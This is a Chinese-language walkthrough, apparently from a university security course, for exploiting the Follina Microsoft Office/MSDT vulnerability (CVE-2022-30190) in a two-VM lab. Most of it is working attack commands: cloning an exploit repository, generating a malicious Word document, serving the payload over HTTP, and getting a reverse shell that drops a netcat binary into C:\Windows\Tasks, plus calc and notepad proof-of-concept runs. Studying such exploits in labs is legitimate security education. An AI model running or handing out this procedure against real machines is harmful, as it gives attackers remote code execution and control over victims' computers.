Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞。这是一个严重程度很高的漏洞，黑客可以利用该漏洞进行远程代码执行 (RCE) 攻击。当使用 URL 协议从调用应用程序（如 Word）调用 MSDT 时，它就存在。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后，攻击者可以在用户权限允许的情况下安装程序、查看、更改或删除数据，或创建新帐户。

环境

2 个虚拟机：

• 攻击机

• kali-linux-2022.3-virtualbox-amd64（https://www.kali.org/get-kali/#kali-virtual-machines）

• 受害者机器

• Windows 10（64 位）（https://drive.google.com/file/d/1YidMOwpc2h_wePDiKWeJ40V6oJz2Lhmo/view）

• Microsoft Office 2016 Pro（https://drive.google.com/drive/folders/1CbTyNSBva6jAKKMPrp7PZlGfCJsYZmEc）

开发

$ git clone https://gitlab.com/grenoble-inp-ensimag/Secu3A/Devoir1/CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri.git
$ cd CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri
$ python3 follina.py –r 9999

运行 follina.py 程序后会出现一个 ( follina.doc )，其中包含一个恶意脚本。

为了方便两个虚拟机共享文件，我们将使用Python http Server

$ python3 –m http.server 8080

在端口 9999 上获取一个反向 shell。注意，这会将一个 netcat 二进制文件下载到受害者并将其放置在C:\Windows\Tasks. 它不会清理二进制文件。除非禁用防病毒，否则这将触发防病毒检测。

$ python3 follina.py -r 9999

流行calc.exe：

$ python3 follina.py -c "calc"[+] copied staging doc /tmp/9mcvbrwo[+] created maldoc ./follina.doc[+] serving html payload on :8000

流行notepad.exe：

$ python3 follina.py -c "notepad"